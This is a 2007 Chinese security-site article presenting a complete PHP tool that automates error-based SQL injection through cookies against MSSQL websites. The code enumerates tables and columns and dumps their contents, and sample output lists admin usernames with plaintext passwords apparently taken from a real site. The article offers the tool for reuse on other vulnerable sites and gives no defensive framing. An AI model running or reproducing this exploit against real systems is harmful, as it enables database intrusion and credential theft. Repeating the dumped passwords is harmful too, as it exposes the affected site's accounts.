执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 网络编程 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
密码心理学 看黑客是如何来破解密码
浏览器执行exe文件的探讨
小技巧 伪造Cookies收费电影免费看
菜鸟的入侵 博客入侵太简单了
说一个隐蔽克隆帐号的方法
切记 3389端口不可轻易开
入侵韩国服务器
深入分析黑客心理 社会应加强心理治
教你使用Anti ARP Sniffer查找ARP攻
做精明的赶马人:木马查找清除攻略
MSSQL错误提示开启下的 COOKIE注入辅助工具[php版]
作者:佚名 来源:安全在线 更新时间:2007-9-29 17:58:31 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

数据库类型:sql server
错误提示:开启
注入类型:cookie注入
有无过滤:无
注入url:http://www.testforme.net/sid=cif1314
cookie:"my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL"
里面的url都被我替换过了,别问我为什么啊!我可不希望被你们再黑一次啊(不然领导要打PP了)
马上去查了一下cookie注入的资料,很快就看完了。开始手工测试,我的天啊,按照资料上的方法我光暴一个表名就得敲半天的键盘,对于像我这种懒人来说绝对是噩梦啊

最省事的方法就是写程序了,还记得我原来用php写过一个注入猜解工具,于是找出来,改了改代码就OK了。嘿嘿,代码如下:
<?php
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
//cookie注入辅助工具 by mika[EST]
//只针对mssql数据库,且错误提示开启。
//用法非常简单:
//首先将你实际的$cookie变量的值替换到全局变量$cookie中。并将可注入的字段后面加上MIKA这
//个关键字,如下例所示,不要有空格。
//比如下面这个cookie:
//"my web=myset=template; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL"
//其中myset这个字段没有过滤好,存在注入漏洞,那么你就需要在template后面加上MIKA这个关键字
//因此$cookie全局变量就成了如下这个样子:
//$cookie="my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL";
//实际的referer值替换到全局变量$referer中。
//存在注入的url地址替换到全局变量$url中。
//另外,全局变量$bstr的值决定了注入模式,0代表数字型,1代表字符型,根据实际情况修改
//全局变量$proxy决定了是否使用代理,如果使用的话,则修改$proxy_host和$proxy_port为相应
//的代理地址和端口即可。
//by mika[EST]
///////////////////////////////////////////////////////////////////////////////////////

error_reporting(7);
ini_set("max_execution_time",0);
print_r(''
---------------------------Code By MIKA[EST]------------------------------------

使用方法:
    php injcookie.php <-t> [表名] [-f [字段名]]

注意:如果要猜测多个字段的值请用逗号隔开
比如:
  暴取所有数据表:php injcookie.php -t

  暴取某个表的字段:php injcookie.php -t admin -f

  暴取表的内容:php injcookie.php -t admin -f username,password

'');
global $curl,$referer,$cookie,$url;
$cookie="my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL";
$referer="http://www.testforme.net/hello.asp?sid=cifs1314";
$url="http://www.testforme.net/hello.asp?sid=cifs1314";

$tab_exp="%20and%201=(select%20top%201%20nchar(124)%2bname%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85)%20and%20name%20not%20in(MFM_TABLES))--";
$field_exp="%20and%20(select%20top%201%20nchar(124)%2Bcol_name(object_id(TABLE_NAME),MFM_NUM)%2Bnchar(124)%20from%20sysobjects)%3E0--";
$value_exp="%20and%20(select%20top%201%20nchar(124)%2Bcast(MFM_FIELD_NAME%20as%20varchar(8000))%2Bnchar(124)%20from%20MFM_TABLE_NAME%20where%20MFM_FIELD_NAME%20not%20in(MFM_VALUE))%3E0--";
$count_exp="%20and%20(select%20nchar(124)%2Bcast(%20count(*)%20as%20varchar(255))%2bnchar(124)%20from%20MFM_TABLE_NAME)%3E0--";
$count_table="%20and%201=(select%20top%201%20nchar(124)%2bcast(count(*)%20as%20varchar(8000))%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85))--";
$count_column="%20and%201=(select%20nchar(124)%2Bcast(count(*)%20as%20varchar(8000))%2Bnchar(124)%20from%20syscolumns%20where%20id=object_id(MFM_TABLE_NAME))--";
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
$bstr=1;//注入模式:0=数字型,1=字符型
$proxy=0;//代理模式:0=无代理,1=有代理
if($proxy)
{
  $proxy_host="127.0.0.1";
  $proxy_port="5687";
}
switch($argc){
case 2:
  if($argv[1]!="-t")
  die("unexpected argument \"$argv[1]\"!\n");
  exploit_tab();
  break;
case 4:
  if($argv[1]!="-t")
  die("unexpected argument \"$argv[1]\"!\n");
  if($argv[3]!="-f")
  die("unexpected argument \"$argv[3]\"!\n");
  $table_name=$argv[2];
  exploit_field();
  break;
case 5:
  if($argv[1]!="-t")
  die("unexpected argument \"$argv[1]\"!\n");
  if($argv[3]!="-f")
  die("unexpected argument \"$argv[3]\"!\n");
  $table_name=$argv[2];
  $field_name=$argv[4];
  explode_value();
  break;
}

///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
//暴取字段值函数
function explode_value()
{
global $bstr,$table_name,$field_name,$cookie,$count_exp,$curl;
$i=1;
$count=0;
$fields=explode(",",$field_name);
$sql_str=" And (Select Top 1 nchar(124)";
$sub_str=''+isNull(cast([MIKA_FIELD] as varchar(8000)),char(32))'';
foreach($fields as $field){
$new_sub_str=str_replace(''MIKA_FIELD'',$field,$sub_str);
$sql_str.=$new_sub_str."+char(92)";
}
$sql_str=substr($sql_str,0,strlen($sql_str)-9);
$sql_str.="+nchar(124) from (Select Top MIKA_NUM $field_name From [MIKA_TABLE] Where 1=1 Order by $field_name) T Order by ";
$sub_str="MIKA_FIELD desc";
foreach($fields as $field){
$sub_strs[]=str_replace(''MIKA_FIELD'',$field,$sub_str);
}
$sql_str.=implode(",",$sub_strs).")>0--";
//echo $sql_str."\n";
$sql_str=str_replace(''MIKA_TABLE'',$table_name,$sql_str);

$old=str_replace(''MFM_TABLE_NAME'',$table_name,$count_exp);
init_session();
if($bstr)
$new_cookie=str_replace(''MIKA'',''%27''.$old,$cookie);
else
$new_cookie=str_replace(''MIKA'',$old,$cookie);

$re=find_value($new_cookie);
$record_file=fopen("records-$field_name.txt","w");
if($re)
{
$count=$re;
echo "the number of record in $table_name is: $count\n";
fputs($record_file,"the number of record in $table_name is: $count\r\n");
}

foreach ($fields as $field){
  $tmp=sprintf("%-32s",$field);
  $str.=$tmp;
//echo $field;
//echo "\t";
}
echo $str;
echo "\r\n-----------------------------------------------------------------------------\r\n";
fputs($record_file,"$str");
fputs($record_file,"\r\n-----------------------------------------------------------------------------\r\n");
do{

$new_sql_str=str_replace(''MIKA_NUM'',$i,$sql_str);
//echo $sql_str."\n";
if($bstr)
$new_cookie=str_replace(''MIKA'',''%27''.urlencode($new_sql_str),$cookie);
else
$new_cookie=str_replace(''MIKA'',urlencode($new_sql_str),$cookie);
$re=find_value($new_cookie);
if($re)
{
  $res=explode("\\",$re);
  $str="";
  foreach($res as $ree){
  $tmp=sprintf("%-32s",$ree);
  $str.=$tmp;
  //echo $ree;
  //echo "\t";
  }
  echo $str;
  echo "\n";
  fputs($record_file,"$str\r\n");
}
$i++;
}while($i<=$count);
fclose($record_file);
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//另一种方式暴取表名的函数
function explode_tab(){
global $bstr,$curl,$cookie;
$num=1;
$old_re="";
$re="";
$words=" And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(Select Top MIKA_NUM id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--";
init_session();

do{
$new_words=str_replace(''MIKA_NUM'',$num,$words);
if($bstr)
$new_cookie=str_replace(''MIKA'',"%27".urlencode($new_words),$cookie);
else
$new_cookie=str_replace(''MIKA'',urlencode($new_words),$cookie);
$re=find_value($new_cookie);
$table_file=fopen("table_names.txt","a");
if($re!=$old_re)
  {
echo "|------------+".$re."\n";
fputs($table_file,"|------------+".$re."\r\n");
  }
else
break;
$old_re=$re;
$num++;
}while($re);
fclose($table_file);
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//初始化会话函数
function init_session(){
global $proxy,$curl,$referer,$url,$proxy_host,$proxy_port;
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_REFERER,$referer);
curl_setopt($curl,CURLOPT_URL,$url);
if($proxy)
curl_setopt($curl,CURLOPT_PROXY,"$proxy_host:$proxy_port");
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//通用取值函数
function find_value($cookie){
global $curl;
//echo $cookie."\n";
curl_setopt($curl,CURLOPT_COOKIE,$cookie);
$content=curl_exec($curl);

//echo $content;
$re=preg_match("/(\|.+\|)/i",$content,$result);
if($re)
{
return str_replace(''|'','''',$result[1]);
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//字符串转换为msssql的16进制数值

function str2sqlhex($str){
$temp="0x";
for($i=0;$i<strlen($str);$i++){
//echo $str[$i]."\n";
$temp.=dechex(ord($str[$i]))."00";
}
//echo $temp."\n";
return $temp;
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//暴取表名函数

function exploit_tab(){
global $bstr,$cookie,$tab_exp,$count_table,$curl;
$table=Null;
$temp=Null;
init_session();
if($bstr)
$new_cookie=str_replace(''MIKA'',''%27''.$count_table,$cookie);
else
$new_cookie=str_replace(''MIKA'',$count_table,$cookie);

$table_file=fopen("table_names.txt","w");

if($re=find_value($new_cookie)){
echo "[+]Number of tables:$re\n";
fputs($table_file,"[+]Number of tables:$re\r\n\r\n");
}
else{
fputs($table_file,"TABLES:\r\n\r\n");}
/*do{
if($table==Null){
$new_url=str_replace(''MFM_TABLES'',"''''",$tab_exp);
}
else{
$new_url=str_replace(''MFM_TABLES'',$temp,$tab_exp);
}
if($bstr)
$new_cookie=str_replace(''MIKA'',''%27''.$new_url,$cookie);
else
$new_cookie=str_replace(''MIKA'',$new_url,$cookie);

$re=find_value($new_cookie);
if($re)
{
$table=$re;
if($temp==Null){
//$temp="''".$table."''";
$temp=str2sqlhex($table);
}else{
//$temp.=","."''".$table."''";
$temp.=",".str2sqlhex($table);
}
fputs($table_file,"|------------+".$table."\n");
echo "|------------+".$table."\n";
}
}while($re);*/
fclose($table_file);
explode_tab();

}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//暴取字段函数
function exploit_field(){
global $bstr,$table_name,$cookie,$field_exp,$count_column,$curl;
$old_url=str_replace(''TABLE_NAME'',str2sqlhex($table_name),$field_exp);
$count_column=str_replace(''MFM_TABLE_NAME'',str2sqlhex($table_name),$count_column);
$num=1;

init_session();
if($bstr)
$new_cookie=str_replace(''MIKA'',''%27''.$count_column,$cookie);
else
$new_cookie=str_replace(''MIKA'',$count_column,$cookie);

$field_file=fopen("$table_name-fields.txt","w");
if($re=find_value($new_cookie)){
echo "[+]Numbers of columns in $table_name:$re\n";
fputs($field_file,"[+]Numbers of columns in $table_name:$re\r\n\r\n");
}else{
fputs($field_file,$table_name."\r\n\r\n");
}

do{
$temp=$old_url;
$new_url=str_replace(''MFM_NUM'',"$num",$temp);
if($bstr)
$new_cookie=str_replace(''MIKA'',''%27''.$new_url,$cookie);
else
$new_cookie=str_replace(''MIKA'',$new_url,$cookie);
//echo $new_url."\n";
$re=find_value($new_cookie);
if($re){
fputs($field_file,"|------------+".$re."\r\n\r\n");
echo "|------------+".$re."\n";
}
$num++;
}while($re);
fclose($field_file);
}
///////////////////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////////////////
//老方式暴取字段值的函数
function exploit_value(){
global $bstr,$table_name,$field_name,$cookie,$value_exp,$count_exp,$curl;
$value=Null;
$temp=Null;
$count_num=1;
$old=str_replace(''MFM_TABLE_NAME'',$table_name,$count_exp);
init_session();
if($bstr)
$new_cookie=str_replace(''MIKA'',''%27''.$old,$cookie);
else
$new_cookie=str_replace(''MIKA'',$old,$cookie);

$re=find_value($new_cookie);
$record_file=fopen("records-$field_name.txt","w");
if($re)
{
$count=$re;
echo "the number of record in $table_name is: $count\n";
fputs($record_file,"the number of record in $table_name is: $count\n");
}

$old=str_replace(''MFM_FIELD_NAME'',$field_name,$value_exp);
$old=str_replace(''MFM_TABLE_NAME'',$table_name,$old);
//echo $old."\n";
do{
if($value==Null){
$new_url=str_replace(''MFM_VALUE'',"''''",$old);
}
else{
$new_url=str_replace(''MFM_VALUE'',$temp,$old);
}
if($bstr)
$new_cookie=str_replace(''MIKA'',''%27''.$new_url,$cookie);
else
$new_cookie=str_replace(''MIKA'',$new_url,$cookie);

$re=find_value($new_cookie);
if($re)
{
$value=$re;
echo "|------------+ ".$value."\n";
fputs($record_file,"|------------+ ".$value."\n");
if($temp==Null){
//$temp="''".urlencode($value)."''";
//$temp=urlencode("''".urlencode($value)."''");
$temp=str2sqlhex($value);
//echo $temp."\n";
}else{
//$temp.=","."''".urlencode($value)."''";
//$temp.=",".urlencode("''".urlencode($value)."''");
$temp.=",".str2sqlhex($value);
}
}else{echo "|------------+ None\n";
fputs($record_file,"|------------+ None\n");}
$count_num++;
}while($count_num<=$count);
fclose($record_file);
}
///////////////////////////////////////////////////////////////////////////////////////
?>

程序的使用方法我都在原代码里详细写明了,相信聪明的大家一定看得明白的
看看:

F:\scripts\php\mine>php injcookie.php -t admin -f adminName,password

---------------------------Code By MIKA[EST]--------------------------------

使用方法:
php injcookie.php <-t> [表名] [-f [字段名]]

注意:如果要猜测多个字段的值请用逗号隔开
比如:
暴取所有数据表:php injcookie.php -t

暴取某个表的字段:php injcookie.php -t admin -f

暴取表的内容:php injcookie.php -t admin -f username,password

the number of record in admin is: 14
adminName password
-----------------------------------------------------------------------------
andy andy123321
xiaoj iloveyou520
admin letmeinbaby
^C

以后再碰到这样的cookie注入,用程序一跑就OK了哦

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2007 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    友情提示:建议使用IE6.0版本, 分辩率1024*768进行浏览
    中国安全在线 敢想 敢做 挑战自我 努力做最好
    中网科技有限公司 技术支持 鄂ICP备05006475号